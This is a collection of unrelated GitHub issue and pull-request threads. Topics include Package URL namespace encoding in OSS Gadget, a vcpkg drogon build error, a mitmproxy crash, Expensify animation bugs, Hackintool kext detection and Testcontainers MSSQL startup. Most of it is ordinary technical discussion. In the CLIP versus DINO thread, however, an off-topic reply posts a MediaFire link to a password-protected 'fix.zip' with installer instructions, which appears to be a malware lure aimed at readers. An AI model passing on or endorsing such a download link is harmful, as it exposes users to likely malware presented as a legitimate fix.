osshealth: NPM purl convention is incomplete, excludes most packages

aside: you reference npm.org and as the owner of NPM we might assume you would know that is referencing The National Association of Pastoral Musicians (NPM) not your own NPM
Similarly the issue is regarding npmjs.com that Microsoft owns and would be aware that the naming convention for packages has not been simply <package name> for many years now, it is @<org or namespace>/<package name>
Using the / in a purl breaks the NPM support;
Using docker run --rm -it -e GITHUB_ACCESS_TOKEN=$GITHUB_TOKEN  --entrypoint /usr/bin/oss-health ossgadget 'pkg:npm/@microsoft/fast-web-utilities
Produces
WARN  - Error processing pkg:npm/@microsoft/fast-web-utilities: Invalid purl: Does not contain a minimum of a 'type' and a 'name'

It's not just that this doesn't support @microsoft/<package name> it this naming convention is becoming defacto now and a majority off mature packages are using it now
We have our own use case too; pkg:npm/@magda/authentication-plugin-sdk
I saw no closed or open issues mentioning that NPM is essentially broken for most packages, and wondered if perhaps I am missing a feature to make this naming convention operate properly

Thanks @0x73746F66! The npm.org was just a typo, fixed in #419.
Regarding the package namespaces, if I remember correctly, the challenge we had early on was that the PackageURL parser didn't handle the @ and / symbols well - the @ symbol had everything after it parsed as a version. I tested it briefly now, and the library seems to do the right thing, so either I'm not remembering something correctly or a bug has been fixed. Either way, we should support pkg:type/@namespace/name@version as one would expect.

Like other URL schemes, certain characters in Package URLs have special meaning - as @scovetta noted, the Package URL spec defines @ as a special character which indicates that the following characters to the right represent a version string. To avoid ambiguity in parsing, the Package URL spec requires that namespace and name string components of a package URL be percent-encoded.
For the examples you provided, the correct forms would be pkg:npm/%40microsoft/fast-web-utilities and pkg:npm/%40magda/authentication-plugin-sdk. The / is not encoded, because Package URL defines the namespace and name as separate URL components, and / is the defined separator between those components.
Does that help clarify the errors you were seeing? I hear you that this is not particularly intuitive, but it's part of how the Package URL spec ensures that Package URLs are unambiguous.

Yes it helps, me
Yes it clarifies, the bug
No this doesn't appear to be the way NPM supports the naming convention
No it doesn't appear that this project adhered to the NPM naming convention
No the other user's will not know how to use this tool with NPM unless they find this issue (which may be closed) because the encoding requirements of this pack is not obvious or documented or hinted by the error message

I made the change to allow raw @ for the namespace is oss-download (see #433) but have not carried that over to oss-health. @pmalmsten Do you have any concerns with adding the same handling to CLI calls to oss-health (not carried over into calls to any lib methods as before).

@gfs Nope, no concerns on our end for oss-health (or any of the CLI frontends). Our only interest in strict conformity with the package URL spec is for lib methods.

@pmalmsten I opened #434 which covers doing this escaping in OSS-Health. For DRY purposes, I've made the namespace escaping method a protected static helper method on the base OSSGadget class used for CLIs, but it is not implicitly called - each CLI needs to call it explicitly only where appropriate, for now that is just OSS-Download and OSS-Health.


Cohorts on the fly

What it is about:

[ ] Bug fix
[ ] Functional change
[x] New feature
[ ] Code cleanup
[ ] Build system change
[ ] Documentation change
[ ] Language translation

Pull request long description:

You can now compute a cohort on the fly by sending a list of individuals.
Changes made:

Related issues:

Additional information:

Release note:

Documentation change:

The parameters accepted by this endpoint are not correct.


add Build charts

add builder charts :)

# in graph-builder option,

[ ] if the pagelayout is  text-in-center, there is still the frame for adding graph

[ ] the graph doesn't display in left-right

[ ] the graph setting can't be imported to slides-editor when edit it

[ ] no matter in which page, there are console.log for every scroll event, which cause the browser slow
[ ] run for a long time it will crash, and some times when i click the screen( no matter where it's), there will have "request animation frame voilence" warning


Build failed with vcpkg "vcpkg.exe install drogon"

Describe the bug
I am using windows 7 and run command line "vcpkg.exe install drogon"
and last step gives me and error below.
Starting package 11/11: drogon:x86-windows
Building package drogon[core]:x86-windows...
Could not locate cached archive: C:\Users\swooper\AppData\Local\vcpkg\archives\01\01bcf5a805572cc668700d05b8c0659508e9f2b2.zip
-- Using cached D:/c_vcpkg/vcpkg/downloads/an-tao-drogon-v1.0.0.tar.gz
-- Cleaning sources at D:/c_vcpkg/vcpkg/buildtrees/drogon/src/v1.0.0-1e0a64d4f1.clean. Use --editable to skip cleaning for the packages you specify.
-- Extracting source D:/c_vcpkg/vcpkg/downloads/an-tao-drogon-v1.0.0.tar.gz
-- Applying patch vcpkg.patch
-- Applying patch pg.patch
-- Using source at D:/c_vcpkg/vcpkg/buildtrees/drogon/src/v1.0.0-1e0a64d4f1.clean
-- Configuring x86-windows
-- Building x86-windows-dbg
CMake Error at scripts/cmake/vcpkg_execute_build_process.cmake:141 (message):
Command failed: "C:/Program Files/CMake/bin/cmake.exe" --build . --config Debug --target install -- -v -j9
Working Directory: D:/c_vcpkg/vcpkg/buildtrees/drogon/x86-windows-dbg
See logs for more information:
D:\c_vcpkg\vcpkg\buildtrees\drogon\install-x86-windows-dbg-out.log
Call Stack (most recent call first):
scripts/cmake/vcpkg_build_cmake.cmake:92 (vcpkg_execute_build_process)
scripts/cmake/vcpkg_install_cmake.cmake:24 (vcpkg_build_cmake)
ports/drogon/portfile.cmake:19 (vcpkg_install_cmake)
scripts/ports.cmake:79 (include)
Error: Building package drogon:x86-windows failed with: BUILD_FAILED
Please ensure you're using the latest portfiles with .\vcpkg update, then
submit an issue at https://github.com/Microsoft/vcpkg/issues including:
Package: drogon:x86-windows
Vcpkg version: 2020.06.15-nohash
Additionally, attach any relevant sections from the log files above.
the log file can be accessible with link
https://drive.google.com/file/d/1fTWkMUNRJATkP8UWyw058aPY8CcJVN8v/view?usp=sharing

I think this would be fixed after the PR being merged.

Windows 10 64 bit, both 32 and 64 bit builds run correctly now.
There was an issue with MariaDB/OpenSSL linking.


[pylint] dev_requirements.txt for pylint

Added dev_requirements.txt for pylint. #23208

/check-enforcer override


Undo delete of a folder in explorer only restores folder, not files

Steps to Reproduce:

have 1 folder with 1 file
right click -> delete the folder
hit undo

=> 🐛  only the folder is restored, not the file
//cc @isidorn @jrieken

I think this was a known limitation, and there might already be an issue for this.

duplicate of #111022


result base on clip

Hello, I would like to ask if you have done experiments on the feature map of clip. Intuitively, the results on clip should be better than those on dino, but I got suboptimal results. I am not sure if there is a problem with my code or there are other reasons. I hope to get your answer. Thank you!

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hello,
Thank you for your question. We did not perform experiments with the CLIP feature extractor, though it could indeed be an interesting alternative. In our work, we applied our PIM model on top of feature maps generated using the GCD feature extractor. Please note that the GCD feature extractor is based on DINO, but it was also fine-tuned on the target dataset using a semi-supervised contrastive loss, as detailed in Section 3.1.1 of the GCD article.
This fine-tuning process may account for the performance differences you observed. Did you fine-tune the CLIP weights before applying our method to the resulting feature maps? That could potentially help bridge the gap.
Best regards.

Hello,
Thank you for your question. We did not perform experiments with the CLIP feature extractor, though it could indeed be an interesting alternative. In our work, we applied our PIM model on top of feature maps generated using the GCD feature extractor. Please note that the GCD feature extractor is based on DINO, but it was also fine-tuned on the target dataset using a semi-supervised contrastive loss, as detailed in Section 3.1.1 of the GCD article.
This fine-tuning process may account for the performance differences you observed. Did you fine-tune the CLIP weights before applying our method to the resulting feature maps? That could potentially help bridge the gap.
Best regards.

Thank you very much for your reply. I tried the following:
I replaced the GCD pre-trained model vit_dino_b16 with the more powerful CLIP pre-trained model vit_B_16, and kept everything else the same. I used the same loss to fine-tune the model, and indeed observed performance improvements on the GCD benchmark.
The PIM method is based on GCD training, but I observed that the results obtained on PIM based on CLIP features are slightly weaker than DINO. This result confuses me and I hope to get your insights.
Here are some of my experimental results:

cifar10

cifar100

cub

ImageNet-100

All
Old
New
All
Old
New
All
Old
New
All
Old
New

gcd
91.5
97.9
88.2
70.8
77.6
57
51.3
56.6
48.7
74.1
89.8
66.3

gcd_clip
94.6
97.5
93.1
71.9
77.8
60.2
52.5
58.6
49.5
75.2
88.6
68.5

pim_dino
94.7
97.4
93.3
78.3
84.2
66.5
62.7
75.7
56.2
83.1
95.3
77

pim_clip
94.4
97.1
93.1
73.7
82.9
55.3
58.7
70.8
52.6
80.7
95.9
73

Hello,
Since we’ve addressed this topic, I’ll go ahead and close the issue. If you have any further questions, please feel free to open a new one.
Best regards,
Florent


Improve naming and docstrings of characterization methods

This change does one more rename of the characterization methods to name them more accurately. It also adds more docstrings with clarifications.

@balopat is Lint check broken?


EntityFramework MySQL Not Support AlterTableAnnotations

When I Change ABP-Zero DataBase To MySQL and execute update-database -verbose -force, throws an exception:
System.NotImplementedException: AlterTableOperation
I found Alter Table Annotations just simply add a comment,Can I delete all the files DbMigration Alter Table Annotations?

The annotations aren't actually necessary. I've implemented a custom migration generator. See below:
    public class CustomMigrationMySQLGenerator : MySqlMigrationSqlGenerator
    {
        public override IEnumerable<MigrationStatement> Generate(IEnumerable<MigrationOperation> migrationOperations, string providerManifestToken)
        {
            var statments = new System.Collections.Generic.List<MigrationOperation>();
            foreach (var item in migrationOperations)
            {
                var migration = item as AlterTableOperation;
                if (migration == null)
                {
                    statments.Add(item);
                }
            }
            return base.Generate(statments, providerManifestToken);
        }
    }

I then specified that the custom migration generator must be used in the DB migrations config:
           SetSqlGenerator("MySql.Data.MySqlClient", new CustomMigrationMySQLGenerator());

@jaq316 thanks.
it's a good idea. Perfect solved my problem.I found that EntityFramework support for Mysql is very poor.The ABP-Zero Migration has many "Cannot drop index 'IX_RoleId': needed in a foreign key constraint error".My solution is first remove the foreign key,then drop index, and then add the deleted foreign key,is there a better way?

Yes. There are many nuances in using EF code first migrations with MySQL. not sure about the dropping of indexes as I've never run into this problem, however, if you use a custom migration generator, you can customize the statements used in doing the migration.

Finding this workaround in a single Google search has made my day, thank you.
I also hit the "cannot drop index" problem above, but got out of it by using these migrations:
http://forum.aspnetboilerplate.com/viewtopic.php?p=6918&sid=fc68362a4a8cbc5313b308eaf2aad028#p6918
They were provided by, and props to, GuillaumeJ.


Set config options

Set configs from options page accessed from the extension icon.

Set region
Use files like optoins.html, popup.html

Merged at PR https://github.com/shimo164/direct-open-lambda-page/pull/3


ETag are expecting to be enclosed in quotes.

Signed-off-by: Yoan Blanc<EMAIL_ADDRESS>

@greut Thanks for sending PR to fix the issue. Appreciate your time


eks: Don't use spot instances

It's causing unnecessary flakes. Money is not a concern so let's not bother using spot instances.
edit: now there are 2 commits:

don't use spot instances in eks.
don't use preemptible instances in gke.

/test

@michi-covalent Should we backport this to stable branches as well?

oh yeah might as well. let me set backport labels 🚀 🙏


mitmproxy 0.12.1 crashes when adding new request

Symptom: when adding a new request, mitmproxy crashes(related: #426)
I'm running OS X 10.10.4, using version 0.12.1 installed through homebrew(latest version)
Reproduce: open mitmproxy, press n(create a new request), then g(for GET), then hit enter
mitmproxy crashes with the following message:

Traceback (most recent call last):
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/init.py", line 478, in run
self.loop.run()
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 278, in run
self._run()
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 375, in _run
self.event_loop.run()
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 678, in run
self._loop()
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 715, in _loop
self._watch_filesfd
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/raw_display.py", line 392, in
event_loop, callback, self.get_available_raw_input())
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/raw_display.py", line 492, in parse_input
callback(processed, processed_codes)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 399, in _update
self.process_input(keys)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/main_loop.py", line 499, in process_input
k = self._topmost_widget.keypress(self.screen_size, k)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/window.py", line 38, in keypress
k = super(self.class, self).keypress(size, k)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/vendor/lib/python2.7/site-packages/urwid/container.py", line 1116, in keypress
return self.footer.keypress((maxcol,),key)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/statusbar.py", line 123, in keypress
return self.ab.keypress(*args, **kwargs)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/statusbar.py", line 82, in keypress
self.prompt_execute(self._w.get_edit_text())
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/statusbar.py", line 104, in prompt_execute
msg = p(txt, *args)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/console/flowlist.py", line 310, in new_request
f = self.master.create_request(method, scheme, host, port, path)
File "/usr/local/Cellar/mitmproxy/0.12.1/libexec/lib/python2.7/site-packages/libmproxy/flow.py", line 828, in create_request
headers = ODictCaseless()
NameError: global name 'ODictCaseless' is not defined
mitmproxy has crashed!
Please lodge a bug report at:
https://github.com/mitmproxy/mitmproxy
Shutting down...

Our latest release is mitmproxy 0.13. IIRC, this bug is fixed there - please upgrade.


[$250] Incorrect animation when accessing Referral information page

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 9.0.3-6
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Expensify/Expensify Issue URL:
Issue reported by: @shawnborton
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1719906639184049
Action Performed:

Open app
From global menu click on 'Fab' > start chat
From the bottom of the page click on the referral banner

Expected Result:
Animation should correct when RHP page for referral is opened
Actual Result:
The transition from Start a chat to the Referral RHP page is incorrect.
Workaround:
unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android: Native
[ ] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[ ] MacOS: Desktop

Screenshots/Videos
https://github.com/Expensify/App/assets/38435837/582a4f7d-fadc-4358-8555-dce96db0b705
https://github.com/Expensify/App/assets/38435837/6aedc662-14a4-49ae-8ede-2e2c7f618a85

View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~018c7e0a6ee4ee4a2e
Upwork Job ID:<PHONE_NUMBER>595817715
Last Price Increase: 2024-07-03

Issue OwnerCurrent Issue Owner: @Ollyws

Proposal
Please re-state the problem that we are trying to solve in this issue.
Incorrect animation when accessing Referral information page
What is the root cause of that problem?
We don't have the participants screen as part of screens with autofocus.
The input autofocus interrupts the annimation making it janky
What changes do you think we should make in order to solve the problem?
We should add SCREENS.MONEY_REQUEST.STEP_PARTICIPANTS to SCREENS_WITH_AUTOFOCUS

Proposal
Please re-state the problem that we are trying to solve in this issue.
What is the root cause of that problem?
After we implement the focus trap, the animation can be janky if we navigate to a screen that is not a screen with autofocus in RHP or LHP.
What changes do you think we should make in order to solve the problem?
We should add the refer page to SCREENS_WITH_AUTOFOCUS
SCREENS.REFERRAL_DETAILS,

https://github.com/nkdengineer/App/blob/3b18d08786c0f8960f2824261350b8ba0244b7bc/src/components/FocusTrap/SCREENS_WITH_AUTOFOCUS.ts#L4
What alternative solutions did you explore? (Optional)

It also happens on chat details screens:
https://github.com/Expensify/App/assets/56261019/f096bdc5-819c-4d35-94ea-03b4851c942c
https://github.com/Expensify/App/assets/56261019/6fb3ee9e-1beb-4691-b6a9-9fc604e143a1
And also on Search:
https://github.com/Expensify/App/assets/56261019/52ec0457-8783-4172-86a6-5563559017c7

@Ollyws hi, I've updated the proposal here

Reading through the code says the animation should be interrupted from the focus trap PR itself, since SCREENS_WITH_AUTOFOCUS was created to fix this problem and at the start didn't include our screen.
It took some time but I caught the behaviour on eb3b5389bb (focus trap PR last commit)
https://github.com/Expensify/App/assets/64629613/05c2b782-061c-4880-b2d2-9a7fa253d09a
Cannot reproduce this at all on ebc8de8 (parent commit to focus trap PR)
cc: @Ollyws

@Ollyws Can you please check my proposal, I tested and it works well.

Oops not sure how i missed this. @nkdengineer's proposal LGTM. Looks like lauren just assigned the issue to you. Feel free to create a PR 🙂

@Ollyws The PR is here.

Payment summary:

Contributor: @nkdengineer $250 (paid in Upwork)
Reviewer: @Ollyws $250 (to be paid in NewDot)

$250 approved for @Ollyws


AirportItlwm.kext not detected again in Hackintool 3.6.0

Hello @headkaze hope you are well and safe. Thanks for the update of this great tool to 3.6.0.
Unfortunately on BigSur, the AirportItlwm.kext kext is again not detected in the Extensions list, despite being loaded OK on the system. When updated to Hackintool 3.6.0 and saw that the kext was missing, I was under the impression that I had done something wrong in my OpenCore config but kextstat does show it loaded.
 I will see if I can find the issue to help you if you don't have time to investigate. But the problem remains for your latest release.
Thank you.

https://github.com/headkaze/Hackintool/pull/132/files#diff-d07bb57395ad95e9c877e6bf33b16f86cb99f60dccc0d6b56f5eb8a51712c6c5L570-L579
Not sure why it was replaced by BrightnessKeys in this PR.

I'm guessing it was deleted because there's another entry for the same kext in there. Looking at the bundle names it looks like there's two depending on different macOS versions.
MACOSX_DEPLOYMENT_TARGET = 10.9;
MODULE_NAME = com.zxystd.itlwm;
PRODUCT_BUNDLE_IDENTIFIER = com.zxystd.itlwm;

	<dict>
		<key>Name</key>
		<string>itlwm</string>
		<key>BundleID</key>
		<string>itlwm</string>
		<key>Description</key>
		<string>An OpenBSD-based macOS Intel wireless card driver for supported devices that behaves as an Ethernet card; must be accompanied by HeliPort.app to control it</string>
		<key>ProjectUrl</key>
		<string>https://github.com/OpenIntelWireless/itlwm</string>
		<key>Type</key>
		<string>Kext</string>
	</dict>

MACOSX_DEPLOYMENT_TARGET = 10.15;
MODULE_NAME = com.zxystd.AirportItlwm;
PRODUCT_BUNDLE_IDENTIFIER = com.zxystd.AirportItlwm;

	<dict>
		<key>Name</key>
		<string>itlwm</string>
		<key>BundleID</key>
		<string>AirportItlwm</string>
		<key>Description</key>
		<string>An OpenBSD-based macOS Intel wireless card driver for supported devices that behaves like an integrated AirPort card</string>
		<key>ProjectUrl</key>
		<string>https://github.com/OpenIntelWireless/itlwm</string>
		<key>Type</key>
		<string>Kext</string>
	</dict>

I've added back the second entry. Please try 3.6.1

Hi @headkaze thanks for your quick response!
As you may recakk, the developer is releasing 2 different kexts under the same name; one kext is acting as a LAN driver and needs a tool to activate the Intel Wireless device, the other tool is an actual WLAN driver that integrates seamlessly with the macOS.
Your fix seems to correct things, after updating Hackingtool are refreshing online data (version info):
On my Intel NUC (Catalina) using the "LAN" driver, the versioning shows OK as 1.3.0 👍
On my other Intel NUC (Big Sur) using the true "WLAN" driver, the versioning shows as 1.3.0 👍 too
Thank you!


[Bug]: "A connection was successfully established with the server, but then an error occurred during the pre-login handshake" with testcontainers.mssql

Testcontainers version
3.10.0
Using the latest Testcontainers version?
Yes
Host OS
Debian GNU/Linux 12 (bookworm)
Host arch
amd64
.NET version
8.0.401
Docker version
Client: Docker Engine - Community
 Version:           27.2.0
 API version:       1.47
 Go version:        go1.21.13
 Git commit:        3ab4256
 Built:             Tue Aug 27 14:15:15 2024
 OS/Arch:           linux/amd64
 Context:           default

Server: Docker Engine - Community
 Engine:
  Version:          27.2.0
  API version:      1.47 (minimum version 1.24)
  Go version:       go1.21.13
  Git commit:       3ab5c7d
  Built:            Tue Aug 27 14:15:15 2024
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.7.21
  GitCommit:        472731909fa34bd7bc9c087e4c27943f9835f111
 runc:
  Version:          1.1.13
  GitCommit:        v1.1.13-0-g58aa920
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

Docker info
Client: Docker Engine - Community
 Version:    27.2.0
 Context:    default
 Debug Mode: false
 Plugins:
  buildx: Docker Buildx (Docker Inc.)
    Version:  v0.16.2
    Path:     /usr/libexec/docker/cli-plugins/docker-buildx
  compose: Docker Compose (Docker Inc.)
    Version:  v2.29.2
    Path:     /usr/libexec/docker/cli-plugins/docker-compose

Server:
 Containers: 17
  Running: 0
  Paused: 0
  Stopped: 17
 Images: 47
 Server Version: 27.2.0
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Using metacopy: false
  Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: systemd
 Cgroup Version: 2
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 472731909fa34bd7bc9c087e4c27943f9835f111
 runc version: v1.1.13-0-g58aa920
 init version: de40ad0
 Security Options:
  apparmor
  seccomp
   Profile: builtin
  cgroupns
 Kernel Version: 6.1.0-23-amd64
 Operating System: Debian GNU/Linux 12 (bookworm)
 OSType: linux
 Architecture: x86_64
 CPUs: 20
 Total Memory: 31.02GiB
 Name: lusolwplun1
 ID: a6552cd2-1528-4777-9406-5bbdbeabcf9d
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Username: perlun
 Experimental: false
 Insecure Registries:
  <IP_ADDRESS>/8
 Live Restore Enabled: false

What happened?
Trying to start an SQL Server container and connecting to it, but getting an exception (exception stack trace below). Below is the relevant code from my NUnit 4 integration test.
Worth pointing out: when I ran this with a debugger attached, I managed to connect to the SQL Server.. but got a different error because "boom" is not a valid Stored Procedure in the DB. :sweat_smile: Could this be timing-related somehow, that I connect to the database too early or something...?
[OneTimeSetUp]
public async Task OneTimeSetup() {
    _msSqlContainer = new MsSqlBuilder()
        .WithStartupCallback(async (container, cancellationToken) => {
            string connectionString = container.GetConnectionString();

            using var connection = new SqlConnection(connectionString);
            await connection.OpenAsync(cancellationToken);

            using var command = connection.CreateCommand();
            command.CommandText = "boom";

            await command.ExecuteNonQueryAsync(cancellationToken);
        })
        .Build();

    await _msSqlContainer.StartAsync();
}

Relevant log output
Microsoft.Data.SqlClient.SqlException : A connection was successfully established with the server, but then an error occurred during the pre-login handshake. (provider: TCP Provider, error: 0 - Success)
Data:
  HelpLink.ProdName: Microsoft SQL Server
  HelpLink.EvtSrc: MSSQLServer
  HelpLink.EvtID: 0
  HelpLink.BaseHelpUrl: https://go.microsoft.com/fwlink
  HelpLink.LinkId: 20476
   at Microsoft.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
   at Microsoft.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, SqlCommand command, Boolean callerHasConnectionLock, Boolean asyncClose)
   at Microsoft.Data.SqlClient.TdsParserStateObject.ThrowExceptionAndWarning(Boolean callerHasConnectionLock, Boolean asyncClose)
   at Microsoft.Data.SqlClient.TdsParserStateObject.ReadSniError(TdsParserStateObject stateObj, UInt32 error)
   at Microsoft.Data.SqlClient.TdsParserStateObject.ReadSniSyncOverAsync()
   at Microsoft.Data.SqlClient.TdsParserStateObject.TryReadNetworkPacket()
   at Microsoft.Data.SqlClient.TdsParser.ConsumePreLoginHandshake(SqlConnectionEncryptOption encrypt, Boolean trustServerCert, Boolean integratedSecurity, Boolean& marsCapable, Boolean& fedAuthRequired, Boolean tlsFirst, String serverCert)
   at Microsoft.Data.SqlClient.TdsParser.Connect(ServerInfo serverInfo, SqlInternalConnectionTds connHandler, TimeoutTimer timeout, SqlConnectionString connectionOptions, Boolean withFailover)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, TimeoutTimer timeout, Boolean withFailover)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString connectionOptions, SqlCredential credential, TimeoutTimer timeout)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(TimeoutTimer timeout, SqlConnectionString connectionOptions, SqlCredential credential, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential, Object providerInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString userConnectionOptions, SessionData reconnectSessionData, Boolean applyTransientFaultHandling, String accessToken, DbConnectionPool pool, Func`3 accessTokenCallback)
   at Microsoft.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection, DbConnectionOptions userOptions)
   at Microsoft.Data.ProviderBase.DbConnectionFactory.CreatePooledConnection(DbConnectionPool pool, DbConnection owningObject, DbConnectionOptions options, DbConnectionPoolKey poolKey, DbConnectionOptions userOptions)
   at Microsoft.Data.ProviderBase.DbConnectionPool.CreateObject(DbConnection owningObject, DbConnectionOptions userOptions, DbConnectionInternal oldConnection)
   at Microsoft.Data.ProviderBase.DbConnectionPool.UserCreateRequest(DbConnection owningObject, DbConnectionOptions userOptions, DbConnectionInternal oldConnection)
   at Microsoft.Data.ProviderBase.DbConnectionPool.TryGetConnection(DbConnection owningObject, UInt32 waitForMultipleObjectsTimeout, Boolean allowCreate, Boolean onlyOneCheckConnection, DbConnectionOptions userOptions, DbConnectionInternal& connection)
   at Microsoft.Data.ProviderBase.DbConnectionPool.WaitForPendingOpen()
--- End of stack trace from previous location ---

Additional information
Tested with both System.Data.SqlClient and Microsoft.Data.SqlClient, but similar errors on both of them. (Mentioned in the Microsoft.Data.SqlCLient repo here too: https://github.com/dotnet/SqlClient/issues/2034#issuecomment-2339778742)

I am afraid this won't work. The startup callback is invoked after the container starts, but before the wait strategies. That means the container, and specifically the MSSQL service, are not ready yet. You will need to wait until it indicates readiness (after StartAsync() completes).

The callback method is invoked after the container start, but before the wait strategies.

I am afraid this won't work. The startup callback is invoked after the container starts, but before the wait strategies. That means the container, and specifically the MSSQL service, are not ready yet. You will need to wait until it indicates readiness (after StartAsync() completes).

Ah, that's great news. :heart: :tada: This seems to work much better, I can now connect to the process in the container as intended. Much appreciated and big thanks for the super-fast reply! :bow:


member search

Is your feature request related to a problem? Please describe.
a search box will be cool in member page for search by alias(username)
Describe the solution you'd like
add a search box in member page
Describe alternatives you've considered
add selector on general search box

feature temporarily cancelled due to death line


Solution for Nakiostudio EasyPeasy issue #75

Changing compatibility setting of the Xcode project file to "Xcode 11", changing deployment targets to 10.15 and manually creating a build scheme EasyPeasy-macOS (again) solves the Carthage build problem for me. Now the build for macOS succeeds again.

Thanks @ikemuc 👍


chore(main): release 4.5.4

:robot: I have created a release beep boop
4.5.4 (2024-10-16)
Bug Fixes

cicd: ssh config pre scp (0f2ff19)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

v4.5.4
:sunflower:


Remove normal_map from MeshInstance2D and MultiMeshInstance2D

Fixes: https://github.com/godotengine/godot/issues/62855
Meshinstance2D and MultiMeshInstance2D were missed in https://github.com/godotengine/godot/pull/43052 where the normal map functionality was removed and the property was removed from all other 2D nodes.
The approach now is to use a CanvasTexture to apply lighting properties (diffuse, specular, normals).
Not tagging as a breaking change as the properties/functions did nothing before, but this will break GDScripts where the property is set programatically.

Thanks!

Not tagging as a breaking change as the properties/functions did nothing before, but this will break GDScripts where the property is set programatically.

For 4.0 betas we've been liberally using breaks compat for any change that may break user scripts, even if it doesn't remove a feature. So I'm adding it here, so users can easily parse the list of breaks compat changes in beta 12 and spot this one if by any chance they do this and wonder why their scripts fail compiling.


resolve "bindle ID already exists" error on second deploy

Currently, when you run spin deploy the second time, you'll get an error that says something like the bindle ID already exists on the server. A recent change in the Spin repo disallows a bindle with the same version to be pushed to the bindle server. This behavior is in line the with Bindle spec. See #459 and #501 for more context.
Spin deploy should (while generating a bindle) generate a hash based on the contents of the app (the bindle invoice) and use that in conjunction with the app version in the spin.toml file for the bindle. It might look something like this: 0.1.0+spindeploy+<some_hash>.
If that bindle ID already exists on the server, let the user know that it exists and therefore there have been no changes and that the existing bindle will be deployed. Another option is to prompt the user. We can conditionally pick one of the two behaviors based on a flag.

Upon further exploration, it might be easier to build a hash of the contents of the app directory rather than hash the invoice which includes in itself the bindle ID.

Yes this can be closed


Reimplemented FanAccessory; Add Ceiling Fan Light support (fsd).

tuya/tuya-homebridge#300 and tuya/tuya-homebridge#295 should fixed, please have a try.

Ceiling Fan Light is supported now in 1.6.0-beta.18. Since FanAccessory has beem reimplemented please tell me if it's not working well, thanks. @fercho2903 @iGageit

Oh Wow! it works now! Thank you so much!
hey, I make videos on social media and would like to give you a shoutout for your incredible development skills. Any code projects you would like people to know about? :) @0x5e

Thanks, actually my other projects are old or small which may not useful for others. Homebridge Tuya is the first one I would like to share maybe.
I just like open source community and because work at tuya before, so I have experience to do this to share with :)

Also tuya#313

@0x5e Im trying to added the fan light switch into homekit but only the fan is appearing. using 1.6.0-beta.25, is it removed on this build?

@ryanuy have you used previous beta version before? Does it work?
Please following the readme troubleshooting section and upload the TuyaDeviceList.json, thanks.

@ryanuy have you used previous beta version before? Does it work?
Please following the readme troubleshooting section and upload the TuyaDeviceList.json, thanks.

@0x5e , this is the first time I'm using your beta.. please see the file below. thank you.
TuyaDeviceList.json.txt

From your file I can only see switch for fan switch and fan_speed for fan speed, I didn't see anything for lights. Are you sure your device support light? Can you take some photos on Tuya Platform -> Cloud Develop -> device debugging page of your devices? Take photos for the standard instruction set and standard status set.
@ryanuy

